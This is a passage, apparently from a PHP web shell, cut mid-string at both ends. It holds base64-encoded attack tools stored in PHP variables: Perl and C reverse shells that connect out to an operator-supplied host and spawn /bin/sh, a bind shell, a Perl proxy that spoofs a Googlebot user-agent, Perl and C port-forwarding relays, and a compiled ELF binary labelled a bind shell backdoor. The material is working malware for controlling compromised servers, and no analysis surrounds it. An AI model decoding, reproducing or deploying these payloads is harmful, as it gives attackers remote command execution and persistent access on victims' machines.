Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
luYW1lKCd0Y3AnKTsKbXkgJG15X2FkZHIgID0gc29ja2FkZHJfaW4gKCRwb3J0LCBJTkFERFJfQU5ZKTsKc29ja2V0IChTT0NLLCBBRl9JTkVULCBTT
0NLX1NUUkVBTSwgJHByb3RvY29sKSBvciBkaWUgInNvY2tldCgpOiAkISI7CnNldHNvY2tvcHQgKFNPQ0ssIFNPTF9TT0NLRVQsIFNPX1JFVVNFQURE
UiwxICkgb3IgZGllICJzZXRzb2Nrb3B0KCk6ICQhIjsKYmluZCAoU09DSywgJG15X2FkZHIpIG9yIGRpZSAiYmluZCgpOiAkISI7Cmxpc3RlbiAoU09
DSywgU09NQVhDT05OKSBvciBkaWUgImxpc3RlbigpOiAkISI7CiRTSUd7J0lOVCd9ID0gc3ViIHsKY2xvc2UgKFNPQ0spOwpleGl0Owp9Owp3aGlsZS
AoMSkgewpuZXh0IHVubGVzcyBteSAkcmVtb3RlX2FkZHIgPSBhY2NlcHQgKFNFU1NJT04sIFNPQ0spOwpteSAoJGZpc3QsICRtZXRob2QsICRyZW1vd
GVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IGFuYWx5emVfcmVxdWVzdCgpOwppZihvcGVuX2Nvbm5lY3Rpb24gKFJFTU9URSwgJHJlbW90ZV9ob3N0LCAk
cmVtb3RlX3BvcnQpID09IDApIHsKY2xvc2UgKFNFU1NJT04pOwpuZXh0Owp9CnByaW50IFJFTU9URSAkZmlyc3Q7CnByaW50IFJFTU9URSAiVXNlci1
BZ2VudDogR29vZ2xlYm90LzIuMSAoK2h0dHA6Ly93d3cuZ29vZ2xlLmNvbS9ib3QuaHRtbClcbiI7CndoaWxlICg8U0VTU0lPTj4pIHsKbmV4dCBpZi
AoL1Byb3h5LUNvbm5lY3Rpb246LyB8fCAvVXNlci1BZ2VudDovKTsKcHJpbnQgUkVNT1RFICRfOwpsYXN0IGlmICgkXyA9fiAvXltcc1x4MDBdKiQvK
TsKfQpwcmludCBSRU1PVEUgIlxuIjsKJGhlYWRlciA9IDE7CndoaWxlICg8UkVNT1RFPikgewpwcmludCBTRVNTSU9OICRfOwppZiAoJGhlYWRlcikg
eyAgICAgCmlmICgkaGVhZGVyICYmICRfID1+IC9eW1xzXHgwMF0qJC8pIHsKJGhlYWRlciA9IDA7Cn0KfQp9CmNsb3NlIChSRU1PVEUpOwpjbG9zZSA
oU0VTU0lPTik7Cn0KY2xvc2UgKFNPQ0spOwpzdWIgYW5hbHl6ZV9yZXF1ZXN0IHsKbXkgKCRmaXN0LCAkdXJsLCAkcmVtb3RlX2hvc3QsICRyZW1vdG
VfcG9ydCwgJG1ldGhvZCk7CiRmaXJzdCA9IDxTRVNTSU9OPjsKJHVybCA9ICgkZmlyc3QgPX4gbXwoaHR0cDovL1xTKyl8KVswXTsKKCRtZXRob2QsI
CRyZW1vdGVfaG9zdCwgJHJlbW90ZV9wb3J0KSA9IAooJGZpcnN0ID1+IG0hKEdFVCkgaHR0cDovLyhbXi86XSspOj8oXGQqKSEgKTsKaWYgKCEkcmVt
b3RlX2hvc3QpIHsKY2xvc2UoU0VTU0lPTik7CmV4aXQ7Cn0KJHJlbW90ZV9wb3J0ID0gImh0dHAiIHVubGVzcyAoJHJlbW90ZV9wb3J0KTsKJGZpcnN
0ID1+IHMvaHR0cDpcL1wvW15cL10rLy87CnJldHVybiAoJGZpcnN0LCAkbWV0aG9kLCAkcmVtb3RlX2hvc3QsICRyZW1vdGVfcG9ydCk7Cn0Kc3ViIG
9wZW5fY29ubmVjdGlvbiB7Cm15ICgkaG9zdCwgJHBvcnQpID0gQF9bMSwyXTsKbXkgKCRkZXN0X2FkZHIsICRjdXIpOwppZiAoJHBvcnQgIX4gL15cZ
CskLykgewokcG9ydCA9IChnZXRzZXJ2YnluYW1lKCRwb3J0LCAidGNwIikpWzJdOwokcG9ydCA9IDgwIHVubGVzcyAoJHBvcnQpOwp9CiRob3N0ID0g
aW5ldF9hdG9uICgkaG9zdCkgb3IgcmV0dXJuIDA7CiRkZXN0X2FkZHIgPSBzb2NrYWRkcl9pbiAoJHBvcnQsICRob3N0KTsKc29ja2V0ICgkX1swXSw
gQUZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90b2NvbCkgb3IgZGllICJzb2NrZXQoKSA6ICQhIjsKY29ubmVjdCAoJF9bMF0sICRkZXN0X2FkZHIpIG
9yIHJldHVybiAwOwokY3VyID0gc2VsZWN0KCRfWzBdKTsgIAokfCA9IDE7CnNlbGVjdCgkY3VyKTsKcmV0dXJuIDE7Cn0=";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2
x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb
HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj
aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ
lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm
xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga
W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy
LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV
udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow
0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb
iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l
KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA
gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS
hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC
iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh
ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ
vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC
AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D
QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh
ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0
gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay
wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c
29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy
MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA
gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci
5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ
HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu
dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0
KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC
ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI
E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp
Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs
NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG
J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL
CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp
dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo
gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm
lsZSk7DQogIHJldHVybiAwOw0KfQ==";
$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I
CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl
bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU
gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol
NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC
iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy
aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ
SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2
xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ
WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN
CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9
yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi
I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc
m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp
IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ
lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW
QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK
CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g
c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0
NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG
UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I
DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs
ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J
1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo=";
$port_bind_bd_cs="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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